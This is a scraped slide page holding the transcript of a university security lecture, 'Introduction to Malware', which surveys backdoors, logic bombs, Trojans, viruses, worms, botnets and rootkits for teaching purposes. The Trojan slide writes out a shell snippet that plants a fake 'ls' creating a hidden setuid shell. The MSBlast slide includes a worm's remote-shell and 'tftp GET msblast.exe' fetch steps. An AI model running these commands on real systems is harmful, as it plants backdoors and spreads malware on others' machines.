Introduction to Malware Dan Fleck CS469 Security Engineering Reference: Angelos Stavrou’s ISA564 and Computer Security by Bishop Coming up: What is Malicious.

Slides:



Advertisements
Similar presentations
Thank you to IT Training at Indiana University Computer Malware.
Advertisements

30/04/2015Tim S Roberts COIT13152 Operating Systems T1, 2008 Tim S Roberts.
Computer Viruses and Worms* *Referred to slides by Dragan Lojpur, Zhu Fang at Florida State University.
 Application software consists of programs designed to make users more productive and/or assist with personal tasks.  Growth of internet simplified.
Dr. John P. Abraham Professor UTPA 2 – Systems Threats and Risks.
CS426Fall 2010/Lecture 151 Computer Security CS 426 Lecture 15 Malwares.
CS526: Information Security Chris Clifton November 25, 2003 Malicious Code.
November 1, 2004Introduction to Computer Security ©2004 Matt Bishop Slide #9-1 Chapter 19: Malicious Logic What is malicious logic Types of malicious logic.
Chapter 14 Computer Security Threats
________________ CS3235, Nov 2002 Viruses Adapted from Pfleeger[Chap 5]. A virus is a program [fragment] that can pass on malicious code [usually itself]
Chapter 14 Computer Security Threats Patricia Roy Manatee Community College, Venice, FL ©2008, Prentice Hall Operating Systems: Internals and Design Principles,
1 Pertemuan 05 Malicious Software Matakuliah: H0242 / Keamanan Jaringan Tahun: 2006 Versi: 1.
Copyright © Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE USC CSci530 Computer Security Systems Lecture.
Malicious Logic What is malicious logic Defenses
1 Computer Viruses (and other “Malicious Programs) Computer “Viruses” and related programs have the ability to replicate themselves on an ever increasing.
1 Malicious Logic CSSE 490 Computer Security Mark Ardis, Rose-Hulman Institute March 25, 2004.
Chapter Nine Maintaining a Computer Part III: Malware.
Henric Johnson1 Chapter 10 Malicious Software Henric Johnson Blekinge Institute of Technology, Sweden
1 Ola Flygt Växjö University, Sweden Malicious Software.
1 Chap 10 Malicious Software. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on.
Chapter 15: Security (Part 1). The Security Problem Security must consider external environment of the system, and protect the system resources Intruders.
Malware  Viruses  Virus  Worms  Trojan Horses  Spyware –Keystroke Loggers  Adware.
The Utility Programs: The system programs which perform the general system support and maintenance tasks are known as utility programs. Tasks performed.
Understanding and Troubleshooting Your PC. Chapter 12: Maintenance and Troubleshooting Fundamentals2 Chapter Objectives  In this chapter, you will learn:
CSCE 201 Attacks on Desktop Computers: Malicious Code Hardware attacks.
Rootkits. EC-Council The Problem  Microsoft Corp. security researchers are warning about a new generation of powerful system-monitoring programs, or.
Virus and Antivirus Team members: - Muzaffar Malik - Kiran Karki.
Lecture 14 Overview. Program Flaws Taxonomy of flaws: – how (genesis) – when (time) – where (location) the flaw was introduced into the system 2 CS 450/650.
Structure Classifications &
1 Chapter 19: Malicious Software Fourth Edition by William Stallings Lecture slides by Lawrie Brown (Modified by Prof. M. Singhal, U of Kentucky)
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Malware.
1 Higher Computing Topic 8: Supporting Software Updated
Information Technology Software. SYSTEM SOFTWARE.
1 Chap 10 Virus. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on an ever increasing.
CSCE 522 Lecture 12 Program Security Malicious Code.
Viruses, Trojans and Worms The commonest computer threats are viruses. Virus A virus is a computer program which changes the way in which the computer.
Compiled & Designed by : Presentation Point Idea by: SAAD(CEO Future IT) © 2011 Presentation Point Compiled By & Designed : Presentation Point(
Chapter 10 Malicious software. Viruses and ” Malicious Programs Computer “ Viruses ” and related programs have the ability to replicate themselves on.
Name: Perpetual Ifeanyi Onyia Topic: Virus, Worms, & Trojan Horses.
30.1 Lecture 30 Security II Based on Silberschatz & Galvin’s slides And Stallings’ slides.
For any query mail to or BITS Pilani Lecture # 1.
Week 10-11c Attacks and Malware III. Remote Control Facility distinguishes a bot from a worm distinguishes a bot from a worm worm propagates itself and.
Computer Viruses and Worms By: Monika Gupta Monika Gupta.
Computer Systems Security Part I ET4085 Keamanan Jaringan Telekomunikasi Tutun Juhana School of Electrical Engineering and Informatics Institut Teknologi.
Malicious Logic and Defenses. Malicious Logic Trojan Horse – A Trojan horse is a program with an overt (documented or known) effect and covert (undocumented.
BY FIOLA CARVALHO TE COMP. CONTENTS  Malicious Software-Definition  Malicious Programs Backdoor Logic Bomb Trojan Horse Mobile Code Multiple-Threat.
Viruses a piece of self-replicating code attached to some other code – cf biological virus both propagates itself & carries a payload – carries code to.
Malicious Software.
VIRUS.
Chapter 19 – Malicious Software What is the concept of defense: The parrying of a blow. What is its characteristic feature: Awaiting the blow. —On War,
Computer Systems Viruses. Virus A virus is a program which can destroy or cause damage to data stored on a computer. It’s a program that must be run in.
Computer virus Speaker : 蔡尚倫.  Introduction  Infection target  Infection techniques Outline.
Computer Security Threats CLICKTECHSOLUTION.COM. Computer Security Confidentiality –Data confidentiality –Privacy Integrity –Data integrity –System integrity.
14.1 Silberschatz, Galvin and Gagne ©2009 Operating System Concepts with Java – 8 th Edition Protection.
Types of Computer Malware. The first macro virus was written for Microsoft Word and was discovered in August Today, there are thousands of macro.
MALICIOUS SOFTWARE Rishu sihotra TE Computer
Page 1 Viruses. Page 2 What Is a Virus A virus is basically a computer program that has been written to perform a specific set of tasks. Unfortunately,
Malicious Programs (1) Viruses have the ability to replicate themselves Other Malicious programs may be installed by hand on a single machine. They may.
DEVICE MANAGEMENT AND SECURITY NTM 1700/1702. LEARNING OUTCOMES 1. Students will manipulate multiple platforms and troubleshoot problems when they arise.
Virus Infections By: Lindsay Bowser. Introduction b What is a “virus”? b Brief history of viruses b Different types of infections b How they spread b.
Computer Viruses Author: Alyse Allen.
Malicious Software.
Viruses and Other Malicious Content
NET 311 Information Security
Chap 10 Malicious Software.
Chap 10 Malicious Software.
Crisis and Aftermath Morris worm.
Malicious Program and Protection
Presentation transcript:

Introduction to Malware Dan Fleck CS469 Security Engineering Reference: Angelos Stavrou’s ISA564 and Computer Security by Bishop Coming up: What is Malicious Software?

What is Malicious Software? Malicious Software (a.k.a. Malware) Software designed to infiltrate or damage a computer system, without the owner's informed consent -- Examples: Viruses, worms, Trojan horses, spyware, and other malicious and unwanted software How about adware? Malware references the intent of the creator, rather than any particular features DRM v.s. Rootkit (e.g., Sony CD rootkit) 22 Coming up: Why should we care? Source: Symantec Internet Threat Report

Why should we care? Source: Symantec Internet Threat Report Coming up: Why should we care? Source: Symantec Internet Threat Report

Why should we care? Source: Symantec Internet Threat Report Coming up: Why should we care? Source: Symantec Internet Threat Report

Why should we care? Source: Symantec Internet Threat Report Coming up: Taxonomy of Malicious Software 55

Taxonomy of Malicious Software 66 Coming up: Trapdoor/Backdoor 66

Trapdoor/Backdoor Secret entry point into a system Specific user identifier or password that circumvents normal security procedures. Commonly used by developers Could be included in a compiler. Lets see Thompson’s Compiler 77 Coming up: Thompson's Compiler 77

November 1, 2004 Coming up: The Login Program Slide #19- 8 Thompson's Compiler Modify the compiler so that when it compiles login, login accepts the user's correct password or a fixed password (the same one for all users) Then modify the compiler again, so when it compiles a new version of the compiler, the extra code to do the first step is automatically inserted Recompile the compiler Delete the source containing the modification and put the undoctored source back 8888

Coming up: The Compiler login sourcecorrect compilerlogin executable user password login sourcedoctored compilerlogin executable magic password user password or logged in The Login Program 99

November 1, 2004 Coming up: Thompson’s Lesson Slide # compiler sourcecorrect compilercompiler executable login source compiler sourcedoctored compilercompiler executable correct login executable login source rigged login executable The Compiler 10

Thompson’s Lesson Verifying the source code isn’t always enough! 11 Coming up: Logic Bomb 11

Logic Bomb Embedded in legitimate programs Activated when specified conditions met E.g., presence/absence of some file; Particular date/time or particular user When triggered, typically damages system Modify/delete files/disks Example: Disgruntled employee adds trigger that when employee’s salary record deleted from DB, all personnel records deleted also. 12 Coming up: Trojan Horse 12 Can you think of other logic bombs?

Trojan Horse Program with an expected and hidden effect Appears normal/expected hidden effect violates security policy User tricked into executing Trojan horse Expects (and sees) expected behavior Hidden effect performed with user’s authorization Attacker cat >/homes/victim/ls <<eof cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* eof Victim ls 13 Coming up: Trojan Horse Example: NetBus 13

Trojan Horse Example: NetBus Designed for Windows NT system Victim uploads and installs this Usually disguised as a game program, or in one Acts as a server, accepting and executing commands for remote administrator This includes intercepting keystrokes and mouse motions and sending them to attacker Also allows attacker to upload, download files 14 Coming up: Virus 14

Virus Program that inserts itself into one or more files and performs some action Insertion phase is inserting itself into file Execution phase is performing some (possibly null) action Self-replicating code Generally tries to remain undetected Pseudocode If spread condition then For target files if not infected then alter to include virus Perform malicious action Execute normal program (step done only by Trojan horses to remain hidden) 14 Coming up: Early Virus Reports 15

Early Virus Reports Brain (Pakistani) virus (1986) Written for IBM PCs Alters boot sectors of floppies, spreads to other floppies MacMag Peace virus (1987) Written for Macintosh Prints “ universal message of peace ” on March 2, 1988 and deletes itself 16 Coming up: Virus Types 16

Virus Types Boot Sector Problem: How to ensure virus “carrier” executed? Solution: Place in boot sector of disk Run on any boot Propagate by altering boot disk creation Less common with few boots off floppies Executable Malicious code placed at beginning of legitimate program (EXE or.COM Runs when application run 15 Coming up: Virus Types Brain virus used this 17

Virus Types Macro Virus Infected “executable” isn’t machine code Relies on something “executed” inside application data Common example: Macros Otherwise similar properties to other viruses Architecture-independent Application-dependent 16 Coming up: Macro Virus Example 18

Macro Virus Example Melissa Infected Microsoft Word 97 and Word 98 documents Windows and Macintosh systems Invoked when program opens infected file Installs itself as “ open ” macro and copies itself into Normal template This way, infects any files that are opened in future Invokes mail program, sends itself to everyone in user ’ s address book 19 Coming up: Virus Types 19

Virus Types Armored Encrypt virus Prevents “signature” to detect virus Stealth Conceal Infection Trap read and disinfect Let execute call infected file Terminate and Stay Resident (TSR) Stays active in memory after application complete Allows infection of previously unknown files Trap calls that execute a program 17 Coming up: Virus Types Request for file length: return length of uninfected file Request to open file: temporarily disinfect file, and reinfect on closing Request to load file for execution: load infected file Request for file length: return length of uninfected file Request to open file: temporarily disinfect file, and reinfect on closing Request to load file for execution: load infected file 20

Virus Types Polymorphic A virus that changes its form each time it inserts itself into another program Idea is to prevent signature detection by changing the “ signature ” or instructions used for deciphering routine At instruction level: substitute instructions At algorithm level: different algorithms to achieve the same purpose Toolkits to make these exist (Mutation Engine, Trident Polymorphic Engine) 17 Coming up: Polymorphic Example 21

Polymorphic Example These are different instructions (with different bit patterns) but have the same effect: add 0 to register subtract 0 from register xor 0 with register no-op Polymorphic virus would pick randomly from among these instructions 22 Coming up: Worm 22

Worm Runs independently Does not require a host program Propagates a fully working version of itself to other machines Carries a payload performing hidden tasks Backdoors, spam relays, DDoS agents; … Phases Probing  Exploitation  Replication  Payload 18 Coming up: Work Propagation 23 So, how is a virus different from a worm? 23

Work Propagation 19 Coming up: MSBlast Worm (Aug 2003) 24

MSBlast Worm (Aug 2003) 1. Exploits target on port 135/TCP 3. Connects to target on port 4444/TCP 5. Creates “TFTP Server” on port Sends “TFTP” command to shell 8. Sends “START msblast.exe” command 10. Closes connection 2. Binds svchost.exe to port 4444/TCP via injected code 4. Creates shell “cmd.exe” and binds it to port 4444/TCP Runs TFTP command: teleports msblast.exe file 9. Runs worm on target 11. Shell closes tftp –l GET msblast.exe TCP protocal: Direction: Inbound Local end point ports: 135 Application: ANY Remote End Point: ANY/ANY Rule valid: ALWAYS Action: DENY TCP protocal: Direction: Inbound Local end point ports: 135 Application: ANY Remote End Point: ANY/ANY Rule valid: ALWAYS Action: DENY Infected New Victim 20 Coming up: Zombie 25

Zombie Secretly takes over another networked computer by exploiting software flows Builds the compromised computers into a zombie network or botnet Uses it to indirectly launch attacks E.g., DDoS 21 Coming up: Zombie 26 Lets see how we create zombies.. 26

Lets see how we create zombies.. Computer Coming up: Zombie: Steps

Zombie: Steps - 1 Attacker Unsecured Computers Attacker scans Internet for unsecured systems that can be compromised Coming up: Zombie: Steps

Zombie: Steps - 2 Attacker Unsecured Computers Attacker secretly installs zombie agent program, turning unsecured computers into zombies Coming up: Zombie: Steps

Zombie: Steps - 3 Attacker Zombies Zombie agents “phone home” and connect to a master server 33 Master Server 24 Coming up: Zombie: Steps

Zombie: Steps - 4 Attacker Zombies Attacker sends commands to Maser Server to launch a DDoS attack against a targeted system 44 Master Server 25 Coming up: Zombie: Steps

Zombie: Steps - 5 Attacker Zombies Master server sends signal to zombies to launch attack on targeted system 55 Master Server TARGET 26 Coming up: Zombie: Steps

Zombie: Steps - 6 Attacker Zombies Target system is overwhelmed by zombie requests denying requests from normal users 66 Master Server TARGET User Request Denied 27 Coming up: Rootkit 32 33

Rootkit “A rootkit is a set of programs and code that allows a permanent or consistent, undetectable presence on a computer” Goals: Hide malicious resources (e.g., processes, files, registry keys, open ports, etc.) Provide hidden backdoor access 28 Coming up: Linux RootKit III 33 34

ls Trojaned! Hide files du Trojaned! Hide files ifconfigTrojaned! Hide sniffing netstat Trojaned! Hide connections chfn Trojaned! User->r00t chsh Trojaned! User->r00t inetd Trojaned! Remote access login Trojaned! Remote access passwd Trojaned! User->r00t ps Trojaned! Hide processes top Trojaned! Hide processes rshd Trojaned! Remote access syslogd Trojaned! Hide logs linsniffer Packet sniffer! fix File fixer! z2 Zap2 utmp/wtmp/lastlog eraser! wted wtmp/utmp editor! lled lastlog editor! bindshell port/shell type daemon! tcpd Trojaned! Hide connections, avoid denies Linux RootKit III 29 Coming up: Rootkit 34 35

Rootkit Simple rootkits: Modify user programs (ls, ps) Detectable by tools like Tripwire Sophisticated rootkits: Modify the kernel itself Hard to detect from userland 30 Coming up: Rootkit Classification 35 36

Rootkit Classification 31 Coming up: Rootkit Classification Replace apps Add code to all apps See: es.html?issue=62&id=12 Add code to all apps See: es.html?issue=62&id=12 Replace/modify kernel modules 36 37

Rootkit Classification 32 Coming up: Lessons Run entire OS in a virtual machine 37 38

Lessons Malware comes in many types and styles It’s not going away and will always hit new platforms as they come out We’ll need multiple approaches to defend against them. 38 End of presentation Next up: Malware Defense! 38 39